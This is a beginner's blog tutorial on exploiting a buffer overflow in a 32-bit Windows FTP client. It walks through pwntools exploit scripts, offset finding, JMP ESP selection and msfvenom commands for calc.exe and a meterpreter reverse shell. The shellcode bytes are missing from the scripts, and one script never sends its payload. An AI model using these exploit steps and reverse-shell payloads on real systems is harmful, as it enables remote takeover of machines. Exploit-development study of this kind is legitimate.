Windows Buffer Overflow (32bit ftp)

Today I will show how to exploit the 32bit windows buffer overflow .This is my first post of writing blog post.

What is buffer mean?

Buffers are areas of memory set aside to hold data, often while moving it from one section of a program to another, or between programs

Buffer Overflow?

A buffer overflow occurs when a program or process attempts to write more data to a fixed length block of memory, or buffer, than the buffer is allocated to hold. Since buffers are created to contain a defined amount of data, the extra data can overwrite data values in memory addresses adjacent to the destination buffer unless the program includes sufficient bounds checking to flag or discard data when too much is sent to a memory buffer.


There is alot of tutorials about this 32bit ftp windows buffer overflow But I want to use the modern technique while the exploit the windows buffer overflow.Let’s start.


  • U can download the 32bit ftp exe file here
  • U can test any windows version.
  • Immunity Debugger
  • Pwntools

First u need to load the 32bit ftp in immunity debugger.

File > open > select the ftp file and open.

When i try run via debugger ,its ask me ftp server ip and port.So we need create the ftp server and let that client ftp connect to us.Let create the simple ftp server using pwntools.

from pwn import *

l = listen(21)

payload ="Sent some strings"

_ = l.wait_for_connection()

l.sendline("220 " + payload)

sudo python

Important ; Once u run the debgger ,every time u need to restart the debugger by pressing ctr+f2 or Debug tab > restart.

Next step . let crash the client ftp with a bunch of “A”

from pwn import *
l = listen(21)

payload ="A"*1000

_ = l.wait_for_connection()


Great!. It crash . When we focus the EIP in debugger the Stack fill with alot of “A” .(EIP 41414141)

All of the registers have been overwritten by 41 (hex for A). This means that we have a buffer overflow vulnerability on our hands and we have proven that we can overwrite the EIP. At this point, we know that the EIP is located somewhere between 1 and 1000 bytes, but we are not sure where it’s located exactly. What we need to do next is figure out exactly where the EIP is located (in bytes) and attempt to control it.

Next step is to find offset .Let’s find .

from pwn import *

l = listen(21)

payload =cyclic(1000)

_ = l.wait_for_connection()

l.sendline("220 " + payload)

Select the EIP address (786A6161) and find with cyclic_find()

Offset = 989

To execute shellcode, we need to find a JMP/CALL ESP memory address, so EIP will read it and jump to the memory address stored in ESP. When you loaded the FTP client program in Immunity, you saw the kernel32.dll module was also loaded.So we jump that address let the shellcode run.

!mona jmp -r esp -m kernel

U will see 3 jmp esp addresses and 2 call esp addresses .U can use one of them .All addresses is worked.So, let jump this addresses with shellcode.Firstly I will execute the calculator .After this i will show how to generate reverse shell and exploit this.Let’s Pop calculator.

To generate the calc using msfvenom

msfvenom -a x86 –platform windows -p windows/exec cmd=calc.exe -e x86/alpha_mixed -f c -b “\x00”

Note: This ftp doesn’t contains any bad characters .So I will not show u how find bad characters in easy way and how avoid them.But I will write in another post .

Ths goal is Buffer + jmp esp + NOP + shellcode .

Why NOP contains in this exploit?

Some attacks consist of making the program jump to a specific address and continue running from there. The injected code has to be loaded previously somehow in that exact location.

Stack randomization and other runtime differences may make the address where the program will jump impossible to predict, so the attacker places a NOP sled in a big range of memory. If the program jumps to anywhere into the sled, it will run all the remaining NOPs, doing nothing, and then will run the payload code, just next to the sled.

The reason the attacker uses the NOP sled is to make the target address bigger: the code can jump anywhere in the sled, instead of exactly at the beginning of the injected code.

A 128-byte NOP sled is just a group of NOP intructions 128 bytes wide.

NOTE #1: NOP (No-OPeration) is an instruction available in most (all?) architectures that does nothing, other than occupying memory and some runtime.

NOTE #2: in architectures with variable length instructions, a NOP instruction is usually just one byte in length, so it can be used as a convenient instruction padding. Unfortunately, that also makes it easy to do a NOP sled.

Ref :

Let’s go.

from pwn import *

payload ="\x41"*989

#jmp esp address

payload +=p32(0x765A3132)
payload += "\x90" * 30
payload += (

l = listen(21)
_ = l.wait_for_connection()

l.sendline("220 " + payload)

Ogay. cacl.exe pop up successfully .now I will generate the reverse shellcode using msfvenom.Coz i wanna control this machine ,popping calc isn’t enough for me :D….

msfvenom -p windows/meterpreter/reverse_tcp LHOST= LPORT=4444 -a x86 –platform win -e x86/alpha_mixed -f c -b ‘\x00’

Put the result in python script and run .

from pwn import *
payload ="\x41"*989
#jmp esp address
payload +=p32(0x771F3132)
payload += "\x90"*30
payload += (
l = listen(21)
_ = l.wait_for_connection()
l.sendline("220 " + payload)

Wait for connection in another terminal .


Let Break !

Exploit development is the long way journey .It’s endless, We just need to run. πŸ˜€ πŸ˜€

If u face any trouble during testing .Just ping me.


2 comments on Windows Buffer Overflow (32bit ftp)

  1. john wick says:

    Good post. I will be going through a few of these issues as well.. Felecia Adler Danita

  2. website says:

    First off I would like to say terrific blog! I had a quick question which I’d like to ask
    if you do not mind. I was interested to find out how you center yourself and clear your head prior to
    writing. I have had a tough time clearing my thoughts in getting my ideas out.
    I truly do take pleasure in writing but it just seems like the first
    10 to 15 minutes tend to be wasted simply just
    trying to figure out how to begin. Any suggestions or tips?
    Many thanks!

Leave a Reply

Your email address will not be published. Required fields are marked *

Scroll to top